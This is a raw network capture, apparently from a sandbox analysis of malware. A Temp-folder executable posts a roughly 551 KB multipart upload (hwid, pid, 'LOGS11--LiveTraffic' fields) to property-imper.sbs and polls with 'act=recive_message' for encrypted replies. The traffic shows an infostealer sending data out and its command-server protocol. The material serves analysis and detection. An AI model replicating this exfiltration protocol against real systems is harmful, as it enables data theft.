2024-11-23 19:23:33 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.4	49824	104.21.33.116	443	8024	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:33 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=RW6HF9JSDOGWDSL User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551646 Host: property-imper.sbs
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: 2d 2d 52 57 36 48 46 39 4a 53 44 4f 47 57 44 53 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 32 34 45 45 36 32 34 46 36 34 35 37 33 44 34 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 52 57 36 48 46 39 4a 53 44 4f 47 57 44 53 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 52 57 36 48 46 39 4a 53 44 4f 47 57 44 53 4c 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --RW6HF9JSDOGWDSLContent-Disposition: form-data; name="hwid"324EE624F64573D4D7CBBD6DF28D3732--RW6HF9JSDOGWDSLContent-Disposition: form-data; name="pid"1--RW6HF9JSDOGWDSLContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: f7 b5 9e 07 56 7d ca f0 18 6f f9 c1 9e 77 b1 85 65 48 75 70 35 44 af 62 f3 db 00 65 18 b3 78 eb 73 ce f8 65 99 c3 d7 b2 cf 66 67 95 41 dd 82 76 50 ab 41 59 df d7 dc 5d 8a c5 9b 7c 15 9a 4b b3 ae 27 fe 2a 88 86 b8 5d be d8 7e cb 8d a3 f4 8d bf e4 19 6a ab 93 a1 e9 b6 df 36 34 73 ea a2 82 d3 21 2b 0c 5e 29 22 0a 9e 43 1c bf d7 6a c7 b3 47 c1 24 e8 da 0a 4f ec f1 36 62 66 73 98 be 30 ee 1d 48 0e 6e e6 33 d5 d8 f9 7f cc 09 06 42 64 01 22 09 7a e9 c7 c2 ce db d1 cd 48 98 64 99 74 3f 65 80 c8 7f 3a 1c b9 0b af 57 a8 a8 65 18 19 e1 80 7b 96 6c a3 46 ed 5d b6 84 63 06 60 b6 88 f0 96 14 4a 17 01 c7 73 6f 44 6a 7d bc 36 6e 17 a7 39 ae fc bc cb 91 fe d4 d1 86 e9 40 95 8d 63 dd f0 4f 99 87 6f a7 1f f3 c8 a9 f5 07 13 da 45 96 a6 b2 1f 77 ba 9d 0b 54 c1 2b 11 15 47 ee Data Ascii: V}oweHup5DbexsefgAvPAY]\|K'*]~j64s!+^)"CjG$O6bfs0Hn3Bd"zHdt?e:We{lF]c`JsoDj}6n9@cOoEwT+G
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: b9 95 8b 29 63 41 6c af eb 0b 29 2c 9a 40 fe 42 18 45 ef 06 4b f3 a4 09 16 5a 6c 33 ad 42 17 5f 1a e2 98 d9 72 8a 28 d6 6b 8f 8e 5e a6 a0 ac ec 9e df 57 e4 3d 0b ce 31 74 6d 3e 1c 38 20 4e 59 b8 d6 96 3a fe d2 3a 8b 4e e7 2c 5b 0f 37 6a bb 57 7e 3c 99 52 2e 02 aa 97 2a 86 2e 1b 2e 5a 04 7e ea 59 aa f6 6b d7 df 03 d7 75 84 30 83 e9 8d 63 cc e3 1b 16 e2 2f 7c c2 d4 0b d3 46 e3 e3 98 0a e1 35 d7 0d 9f 44 7c f8 d3 f4 23 f3 03 ab f7 bb cf c0 67 95 d5 2a 9e 73 55 e7 7c 08 b3 da b6 e0 73 f6 88 67 61 dd b8 f2 ed eb 0f 1d 19 c3 16 e5 13 9b a5 a2 10 ed a1 b5 c9 6c 6f c1 e5 79 5d 9f d1 b9 cc d1 8d 27 c1 57 43 f9 1d 8e 1d 8f 79 d1 77 27 99 94 81 51 eb 76 5e fb 45 98 b9 bb 18 b9 27 64 f4 3d 5f 92 73 02 cf 52 ed 2b 0f 16 d4 c3 91 19 9d 44 24 1f 88 5d b0 3a 2a a7 a5 25 Data Ascii: )cAl),@BEKZl3B_r(k^W=1tm>8 NY::N,[7jW~<R...Z~Yku0c/\|F5D\|#gsU\|sgaloy]'WCyw'Qv^E'd=_sR+D$]:*%
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: a9 f2 19 12 50 8e 67 75 0d 3d df 12 e1 c8 b5 e3 12 a4 62 4f 00 f2 37 c1 7a 8e 21 64 11 28 40 71 be 14 d9 59 da 28 64 af a0 b8 20 00 5a 3d ce 1c 07 b8 0f ce ad 7c a9 75 b5 8f 01 e3 ef 6c 55 a0 37 99 93 84 4d e6 39 8d 7b b3 9b 22 73 da 88 c3 b7 11 9c 2b cb e4 18 f8 24 5a 35 61 eb 3b df e7 cf 5a 10 c1 0d 75 df c0 3b e8 f7 e9 a5 de ae 56 4e a2 f7 1d f7 6a 08 78 94 37 89 f6 94 fe 77 2a aa 3c c5 03 15 fe 6f 22 6a ae a2 8d 1b af 8f 5a 37 96 02 f7 9f 24 44 26 7f 1a 95 f9 17 41 2a 30 cd b9 ef 2c d1 e5 e7 60 fd 66 f8 98 8b 9f f4 1d a1 e6 d9 43 c6 2a 9c f8 c7 64 85 6f 12 09 6a 53 98 37 73 ed 66 24 92 99 1e 1a e2 7a 7a c7 56 22 e4 2b b6 cb db dc e6 0d e2 4f 5c d1 41 04 9d 91 b1 6c 56 fe dd 12 fe fa 35 c2 03 fd 70 b9 f5 52 5a 52 72 52 b1 73 d5 87 0f 8a 81 a6 c7 b0 c9 Data Ascii: Pgu=bO7z!d(@qY(d Z=\|ulU7M9{"s+$Z5a;Zu;VNjx7w<o"jZ7$D&A0,`fC*dojS7sf$zzV"+O\AlV5pRZRrRs
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: a9 77 4f 4b 25 54 70 08 86 02 c9 0f c8 0e 7c 02 73 7b 0b 96 c7 9e 66 e8 4c 2f 7e 1a cd 45 13 66 57 5c 27 52 5e 2a a3 22 2a af e7 34 84 66 7d 23 cb ab 4d b6 67 84 bc ab 22 0e 47 3c 79 d8 bd bd dd 54 2c ac a7 38 05 3a ee cd b1 77 8c 1a d3 92 90 83 c7 2b 9a 83 b9 46 53 d1 7e e1 42 3d 4d df e2 56 4c 18 cc 4e 9f 20 82 65 47 ee 37 72 2d f5 fd b6 5b 60 eb 96 c3 69 19 9e ac c4 c3 49 1d 45 2f 59 0d 8d 70 d0 db da ed 1a df 83 64 7f 29 bb 85 e6 a7 d1 2a 74 93 7a 03 a9 90 7d f4 fc ea d5 5b 54 6b 3d cb 58 c2 02 84 5d d6 b9 19 3b 32 ae a2 3a aa a2 18 13 1d d3 8f 29 28 76 36 1c 69 37 40 f1 0c e0 5b c4 98 30 ff 63 84 8c b0 b2 de 28 1d a4 3e 36 99 6c a3 56 e5 33 c4 04 33 94 1f e5 3c c3 20 82 57 cd 60 66 58 25 9f 94 43 6f 9f 7e 1a ed 65 d4 5b 74 0d 4e a2 6b 76 bf f1 18 af Data Ascii: wOK%Tp\|s{fL/~EfW\'R^"4f}#Mg"G<yT,8:w+FS~B=MVLN eG7r-[`iIE/Ypd)*tz}[Tk=X];2:)(v6i7@[0c(>6lV33< W`fX%Co~e[tNkv
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: 72 56 59 30 b8 fa c3 24 3b e4 60 db 61 0b d8 c0 7a f6 b6 04 41 ab 0d 62 bc 5e 5e 91 88 bc 62 00 52 54 31 29 6a 40 43 1c 92 df 03 ba e7 0c 56 d9 f5 e3 4b 77 c3 0a 56 d7 ab 84 3e 35 b7 1f d5 e1 17 04 fb db 9f 3b 5c b2 73 71 2a d8 f5 5a 06 61 bb 11 6a 4c 2f e9 9d d5 43 81 13 3c a8 1b 41 6f c9 c4 fc 16 61 e5 96 44 1f 27 19 48 5e 1b d8 61 b6 7e 03 13 14 fd 41 a0 43 ea 61 4b 4e f8 a1 4f 2d 50 2a 41 9e 8f 6e 75 d9 c4 59 a7 80 7b f1 01 55 48 bc 99 96 cd b3 d8 ba 90 79 83 e2 8f 7a 2f 43 cc 1f 90 1c 2d 58 18 94 54 5e d6 04 72 f4 02 aa d5 0b 52 75 fa 80 3d 0e f7 84 d4 35 b4 51 00 88 91 3b 5a e6 2f ef 04 a3 15 35 64 02 90 5a f9 79 34 50 f3 a7 3d 33 2e 90 67 4a 8a 07 5e ed 29 e5 f5 e4 c3 41 19 a9 90 e4 73 1e 1c d1 8e 7c f9 15 f9 fb a2 d0 61 ae 69 50 da 34 43 fe 37 6c Data Ascii: rVY0$;`azAb^^bRT1)j@CVKwV>5;\sqZajL/C<AoaD'H^a~ACaKNO-PAnuY{UHyz/C-XT^rRu=5Q;Z/5dZy4P=3.gJ^)As\|aiP4C7l
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: 81 8c fb de d6 5d ef cc 79 b7 44 51 d7 77 25 ab d1 31 51 a1 6f 65 5a 0c 78 94 98 89 d6 44 6b f5 73 03 d5 c7 d4 1d 23 a4 85 8b 2c e9 c9 68 8d c0 03 be 8b a7 e0 f0 64 c2 d5 a1 74 4f 9e b7 32 79 01 cb e8 7d 4c cd 53 43 6f dd bd 5c 89 8e b4 f5 cf 37 11 91 1c 79 2b 1d 55 23 20 cf e9 d0 d8 a1 8e 4e 18 70 c1 c1 e3 f4 ed f1 0c b0 df f0 bb 5a f5 b1 ee 57 af 9a 8b 20 1b 87 44 3e 37 be 0d 51 e2 98 43 6c 4f 1f 59 1c 26 a2 de 37 34 6b 13 54 64 4f b8 7e 9d 46 61 da 8b f3 13 65 dd 92 d4 c7 38 ae af 9f 10 ad e3 29 33 06 7e b8 eb 67 24 e9 49 de 89 b0 7a e1 26 7e a2 6d 22 d7 1f b3 bf d8 b5 cf b6 c1 38 db ac 45 1f 79 af de 87 24 2d a1 cf 1f 78 99 97 04 13 29 d6 db 37 44 e1 e0 83 6b 99 3e d4 32 f3 58 05 47 5a a7 f0 55 d7 6f de 8b 31 17 13 55 87 8f 17 5b b0 14 e6 3f 9a 79 ff Data Ascii: ]yDQw%1QoeZxDks#,hdtO2y}LSCo\7y+U# NpZW D>7QClOY&74kTdO~Fae8)3~g$Iz&~m"8Ey$-x)7Dk>2XGZUo1U[?y
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: 53 c1 b5 3a 12 86 ab 8f 67 2e 07 51 03 7e da bc 7f de 91 95 71 12 80 7d 45 d4 2e 00 b4 cb 54 bb 78 f7 fb 79 ef 1f 40 58 35 f9 3c 51 12 a9 da 62 35 be 0a d1 88 6c 69 7d 44 db 27 ca 30 32 58 5b b2 df 34 09 53 5d 73 02 bc 18 d5 6f ee ac 9e 84 e1 9a b5 94 7c 68 f5 d2 9f 0e 05 23 0e 65 04 f6 3f dd ae 8b b8 ed ff 6d 99 49 95 54 a4 69 20 00 1b 89 c7 be 5f 26 13 18 33 1a 0b 51 f2 99 6f 9b cd f2 3c f1 64 82 2e 01 10 7c 07 32 7e 33 83 9f 5d 17 65 fc 7e 0a b8 dd 41 48 9b b4 18 2f ad da bb 66 a0 6e c8 91 0f 40 18 ca 70 e5 ae 11 df bf 97 2d dc 46 bc 3e a4 db 2e ed 77 c2 78 da d2 69 ed 1f 4c 88 c7 a9 3f 5b 14 79 85 93 66 cd 59 16 9f 78 21 0f 9f aa 60 7d af e5 2b 6f 90 09 99 a1 49 fa c9 ee ef 37 4c 1d 3f 1a 98 45 c4 ec e0 fe 2a 7b 68 7a 5e 23 72 ae 8f e2 b1 ab 35 09 b6 Data Ascii: S:g.Q~q}E.Txy@X5<Qb5li}D'02X[4S]so\|h#e?mITi _&3Qo<d.\|2~3]e~AH/fn@p-F>.wxiL?[yfYx!`}+oI7L?E*{hz^#r5
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: b4 55 42 32 54 53 a5 3a 1b cd 0c 57 cf 07 dc 92 7f 50 4e db 5d 22 84 83 38 07 8b 3c be b9 bb 1e 15 23 68 32 23 9e ef ab da 63 7a d3 aa 66 cf a6 a3 67 4a 85 9c 7c c2 5b 0c 7c bc 1c fa d9 06 75 3d 0c 73 3c 62 fb de 78 eb db 9d 33 98 ad 6a 4f 3e c3 34 47 8f 65 d6 cc 66 a7 0a ca a5 57 29 6e 6b 4f 52 ee 4d a2 b9 5d d6 1f e6 43 95 7b 32 e8 ed 27 74 ae 7d 5e 5a 5d ca bc 75 3a e8 a7 50 47 d9 c4 da f6 62 93 99 35 e1 d9 13 1c 13 68 71 a0 4a 28 af dd 9b 50 18 c6 0d 7c 34 01 c8 2f ba 3f 50 b4 bd 99 75 28 50 97 35 54 39 9a 86 60 8c 84 d5 44 36 22 19 7f cc 16 1d dd 57 17 e2 7b 9f 9c b3 ff e0 62 60 31 68 b7 de d7 5b b3 f4 fe 79 07 46 6c 83 af 89 e7 6c 56 7c 4e 53 c3 ba c5 f1 f3 ed 92 17 df 76 a4 7b 84 a5 ae 6c c7 2f 70 2f 9d b8 76 b2 46 0a 1b 42 a4 91 8f fa a5 46 87 13 Data Ascii: UB2TS:WPN]"8<#h2#czfgJ\|[\|u=s<bx3jO>4GefW)nkORM]C{2't}^Z]u:PGb5hqJ(P\|4/?Pu(P5T9`D6"W{b`1h[yFllV\|NSv{l/p/vFBF
2024-11-23 19:23:33 UTC	15331	OUT	Data Raw: e8 47 57 3a ab d7 7c 73 80 b4 03 47 1d 25 95 65 48 73 0d 99 c5 9c 6e 2e 66 21 bc fa d3 97 8c 0f dc e2 d9 31 f3 dd 3e af aa c2 62 2b a6 ee af cf 06 16 5b 07 14 6e 9e 1b 43 a1 7e f2 27 94 c1 49 94 fd 8c 06 09 31 01 04 30 5e bc 54 5d 7d 87 d5 fb 7d a9 ff 25 2b 71 11 37 ef 3b ab 4c 2a a7 dd e6 05 85 44 fe 2f 91 b6 cb 7b db 35 0d 43 8d 58 7d be b3 13 9e 99 5b 8c 46 32 23 36 64 99 f7 bb 96 5a ab 19 9a 8f 0c de f3 c2 e4 0a 92 fe 63 b3 42 4e 18 e8 75 7a 80 ff 37 98 87 71 00 03 26 75 e3 04 80 47 b2 b7 06 20 97 0e cb 5d 52 83 18 1d 5d 93 9d bb 4e 75 61 d6 30 0f f2 d6 b8 9f 88 3a 85 1a db 5e 6b 92 33 24 82 de 72 99 8d 13 9c b3 ed 9b fe 2a 1e e8 02 d1 ab 35 b8 d9 13 32 08 1e 57 97 f1 c0 b4 84 ff 5e 69 5d 20 53 3b b7 16 cc 89 8b 2a e6 ad d1 e2 a4 73 4e 04 5d 9d c4 1e Data Ascii: GW:\|sG%eHsn.f!1>b+[nC~'I10^T]}}%+q7;LD/{5CX}[F2#6dZcBNuz7q&uG ]R]Nua0:^k3$r52W^i] S;*sN]
2024-11-23 19:23:40 UTC	1025	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tkjlkuv16a3lc48aqafv69869f; expires=Wed, 19-Mar-2025 13:10:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yhA%2Fs5byQtitNa%2F6t9qe8Olnr1TIqUP18rB7WX8tFCnpSUqAk1wYzYaa3djCywg%2B%2B5xOl0eIFnQFI31cJoRu0lRuLlQauKj4MePJ7Gw1AzEnR40%2BOzcwxU2McHZSZjeOFesem40%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7388ccf8bb8c24-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1881&sent=346&recv=536&lost=0&retrans=0&sent_bytes=2845&recv_bytes=554126&delivery_rate=1475492&cwnd=141&unsent_bytes=0&cid=10dfbce35d34bc59&ts=7743&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.4	49825	104.21.33.116	443	5472	C:\Users\user\AppData\Local\Temp\1008506001\1026aa8304.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 19:23:33 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: property-imper.sbs
2024-11-23 19:23:33 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-23 19:23:34 UTC	1014	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 19:23:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=brseq20pi55lh6qi2jqoccfo5d; expires=Wed, 19-Mar-2025 13:10:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7quKZk6cTyChnInqzNyLKJZ2K7TL5rrUoQgu6l5aLfaoLRichPvi%2FvEuQqnJZzWwnIQWdoeKrcHxOgztqCtLajoHFU2%2FYfs3GyuS6wfVj5byalfdYU0K4pCovITXlK%2FTIcyE0yM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e7388d268994228-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2182&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1405873&cwnd=194&unsent_bytes=0&cid=397a4c1930b3b6c9&ts=1188&x=0"
2024-11-23 19:23:34 UTC	355	IN	Data Raw: 31 64 38 63 0d 0a 72 50 33 65 53 33 71 35 34 6d 68 41 44 6f 58 45 4d 6a 75 66 54 2f 7a 76 2b 44 4a 6a 2b 56 6b 78 7a 4a 48 48 37 53 69 46 67 41 2f 58 33 36 68 70 51 49 33 4f 53 6a 4e 72 70 2f 35 47 53 65 6f 71 30 4d 32 5a 56 6b 48 44 50 31 43 67 34 71 4c 42 43 76 50 74 4c 5a 61 62 76 79 63 4a 33 4d 35 4b 4a 58 61 6e 2f 6d 6c 41 76 53 71 53 7a 63 49 51 42 70 4d 37 55 4b 44 7a 70 6f 5a 48 39 65 78 73 78 4a 47 35 49 78 2f 61 68 67 6b 73 59 2b 43 68 56 31 72 31 49 5a 57 43 6b 46 39 42 31 58 74 55 74 72 50 39 7a 32 58 67 39 47 37 68 6e 4b 30 67 57 4d 54 4f 45 32 4a 72 36 2b 59 49 47 66 34 71 6e 6f 4f 65 56 67 69 52 4d 56 6d 6f 38 71 4f 48 57 4f 7a 6d 5a 38 53 66 75 69 49 56 30 35 49 45 4a 6d 54 72 70 31 31 61 76 57 50 65 69 6f 49 51 57 64 74 6f 59 61 33 69 74 Data Ascii: 1d8crP3eS3q54mhADoXEMjufT/zv+DJj+VkxzJHH7SiFgA/X36hpQI3OSjNrp/5GSeoq0M2ZVkHDP1Cg4qLBCvPtLZabvycJ3M5KJXan/mlAvSqSzcIQBpM7UKDzpoZH9exsxJG5Ix/ahgksY+ChV1r1IZWCkF9B1XtUtrP9z2Xg9G7hnK0gWMTOE2Jr6+YIGf4qnoOeVgiRMVmo8qOHWOzmZ8SfuiIV05IEJmTrp11avWPeioIQWdtoYa3it
2024-11-23 19:23:34 UTC	1369	IN	Data Raw: 6f 41 59 4b 6d 66 73 6f 30 4a 53 39 43 43 54 6a 5a 64 61 44 70 67 37 56 4b 54 35 71 6f 56 4f 36 75 39 72 7a 70 2f 38 5a 31 6a 63 6d 45 70 36 4c 4d 53 6a 51 46 37 78 4f 39 79 33 32 6b 39 50 67 6e 74 55 6f 72 50 39 7a 30 4c 69 34 57 37 46 6b 4c 38 68 45 38 6d 41 47 43 52 68 34 72 52 57 58 50 4d 6e 6e 5a 2b 51 58 67 65 59 4d 6c 69 6e 39 71 4b 4c 43 71 6d 69 61 74 62 66 35 47 6b 35 31 6f 73 47 4b 48 76 6e 35 6b 38 58 35 47 32 5a 67 64 6f 49 51 5a 38 36 56 36 2f 33 71 34 46 4f 36 2b 52 6a 77 35 43 36 49 78 6a 63 69 67 49 71 62 65 71 74 58 31 6e 34 49 4a 71 4c 6c 6c 45 45 32 33 55 54 71 65 76 6c 31 77 72 4a 35 57 37 63 33 59 6b 71 46 74 57 48 48 47 4a 7a 71 62 38 51 58 76 46 74 78 73 32 55 56 51 36 4a 4f 6b 47 72 2f 62 65 44 54 2b 48 76 62 73 43 66 75 53 34 56 Data Ascii: oAYKmfso0JS9CCTjZdaDpg7VKT5qoVO6u9rzp/8Z1jcmEp6LMSjQF7xO9y32k9PgntUorP9z0Li4W7FkL8hE8mAGCRh4rRWXPMnnZ+QXgeYMlin9qKLCqmiatbf5Gk51osGKHvn5k8X5G2ZgdoIQZ86V6/3q4FO6+Rjw5C6IxjcigIqbeqtX1n4IJqLllEE23UTqevl1wrJ5W7c3YkqFtWHHGJzqb8QXvFtxs2UVQ6JOkGr/beDT+HvbsCfuS4V
2024-11-23 19:23:34 UTC	1369	IN	Data Raw: 4a 7a 71 62 38 51 58 76 46 74 78 73 32 57 57 51 47 51 4d 56 65 75 39 4b 69 4b 53 65 44 68 59 4d 6d 56 73 69 34 63 31 34 6b 48 4a 47 7a 67 6f 6c 56 4c 2b 43 53 53 67 64 6f 65 51 5a 77 6a 45 2f 61 7a 69 6f 68 63 35 4d 31 75 33 35 62 38 4e 6c 62 43 77 41 30 75 4c 4c 2f 6d 56 31 7a 31 4a 70 69 46 6d 6b 49 45 6c 54 42 53 70 50 57 6b 67 6b 62 68 34 6d 7a 4f 6d 62 41 70 48 39 79 53 47 43 64 71 39 61 77 51 46 37 30 71 68 73 33 43 45 44 65 4c 4c 45 4b 34 73 5a 43 4d 52 4f 6e 6c 65 34 36 41 38 6a 42 59 33 49 78 4b 65 69 7a 73 70 6c 78 65 39 53 75 61 68 5a 56 66 43 49 6b 36 58 36 44 68 6f 6f 39 44 36 65 31 68 78 35 4b 37 4a 42 50 52 6a 51 34 6c 62 61 66 6f 45 46 37 6c 62 63 62 4e 72 45 41 4d 6c 78 56 59 6f 76 72 6c 6b 41 54 2b 6f 6d 72 43 33 2b 52 70 48 4e 65 49 41 Data Ascii: Jzqb8QXvFtxs2WWQGQMVeu9KiKSeDhYMmVsi4c14kHJGzgolVL+CSSgdoeQZwjE/aziohc5M1u35b8NlbCwA0uLL/mV1z1JpiFmkIElTBSpPWkgkbh4mzOmbApH9ySGCdq9awQF70qhs3CEDeLLEK4sZCMROnle46A8jBY3IxKeizsplxe9SuahZVfCIk6X6Dhoo9D6e1hx5K7JBPRjQ4lbafoEF7lbcbNrEAMlxVYovrlkAT+omrC3+RpHNeIA
2024-11-23 19:23:34 UTC	1369	IN	Data Raw: 6a 56 46 37 35 4b 35 48 4e 31 42 41 47 67 33 73 4c 37 74 79 43 75 67 6a 47 32 43 33 52 30 61 56 70 48 39 66 41 55 6d 4a 67 35 4b 70 59 56 76 73 6b 6b 6f 65 54 57 77 32 51 50 31 2b 6e 39 71 4f 4f 54 2b 4c 6a 61 63 4b 56 75 69 6f 62 31 49 38 46 4b 69 79 70 35 6c 64 42 76 58 58 65 71 49 31 62 44 35 31 37 54 4f 44 71 35 59 68 47 70 37 6f 74 77 70 61 36 4c 78 33 58 67 51 77 71 61 65 2b 69 55 56 2f 37 4c 70 47 4a 6e 31 45 4f 6e 7a 64 64 70 50 4b 6b 67 30 48 6f 36 57 69 4f 30 66 77 75 41 4a 76 59 53 68 4e 76 38 62 46 41 56 62 30 79 30 4a 54 61 56 77 33 62 59 78 4f 76 34 61 2b 46 52 4f 4c 74 61 4d 32 51 75 79 51 65 31 34 6f 44 4b 6d 72 6f 72 30 4a 61 38 53 4f 5a 67 35 5a 65 44 4a 45 34 58 75 36 39 35 59 68 53 70 37 6f 74 34 70 69 78 42 78 50 58 68 30 6f 39 49 76 Data Ascii: jVF75K5HN1BAGg3sL7tyCugjG2C3R0aVpH9fAUmJg5KpYVvskkoeTWw2QP1+n9qOOT+LjacKVuiob1I8FKiyp5ldBvXXeqI1bD517TODq5YhGp7otwpa6Lx3XgQwqae+iUV/7LpGJn1EOnzddpPKkg0Ho6WiO0fwuAJvYShNv8bFAVb0y0JTaVw3bYxOv4a+FROLtaM2QuyQe14oDKmror0Ja8SOZg5ZeDJE4Xu695YhSp7ot4pixBxPXh0o9Iv
2024-11-23 19:23:34 UTC	1369	IN	Data Raw: 2b 6a 58 65 31 64 70 6d 42 6f 73 72 55 4f 7a 43 73 34 78 63 37 4f 39 68 6a 6f 44 79 4d 46 6a 63 6a 45 70 36 4c 4f 47 70 57 56 72 79 4c 4a 65 42 6c 31 55 49 6e 6a 70 56 71 76 6d 76 6a 30 7a 68 34 32 6a 45 6e 4c 30 6a 45 64 79 49 44 53 46 2b 70 2b 67 51 58 75 56 74 78 73 32 7a 56 78 4f 56 4b 78 4f 78 76 62 7a 50 54 65 75 69 4e 59 36 62 74 69 59 63 33 49 77 4d 4a 32 72 71 70 31 39 59 2f 53 4b 61 68 70 4e 57 41 4a 59 2b 58 71 72 68 72 34 52 46 36 2b 74 68 77 39 2f 79 61 52 2f 44 77 46 4a 69 58 65 71 6f 58 6c 37 72 62 59 48 44 67 78 41 47 6c 33 73 4c 37 76 4b 70 67 45 6e 6f 34 57 37 50 6c 61 34 37 46 4e 4b 49 44 79 35 6e 36 61 42 43 58 2f 49 6b 6e 59 36 54 56 77 6d 58 4d 56 43 70 73 2b 76 50 54 66 2b 69 4e 59 36 38 71 7a 6b 56 6d 35 39 45 4f 79 7a 67 71 68 41 Data Ascii: +jXe1dpmBosrUOzCs4xc7O9hjoDyMFjcjEp6LOGpWVryLJeBl1UInjpVqvmvj0zh42jEnL0jEdyIDSF+p+gQXuVtxs2zVxOVKxOxvbzPTeuiNY6btiYc3IwMJ2rqp19Y/SKahpNWAJY+Xqrhr4RF6+thw9/yaR/DwFJiXeqoXl7rbYHDgxAGl3sL7vKpgEno4W7Pla47FNKIDy5n6aBCX/IknY6TVwmXMVCps+vPTf+iNY68qzkVm59EOyzgqhA
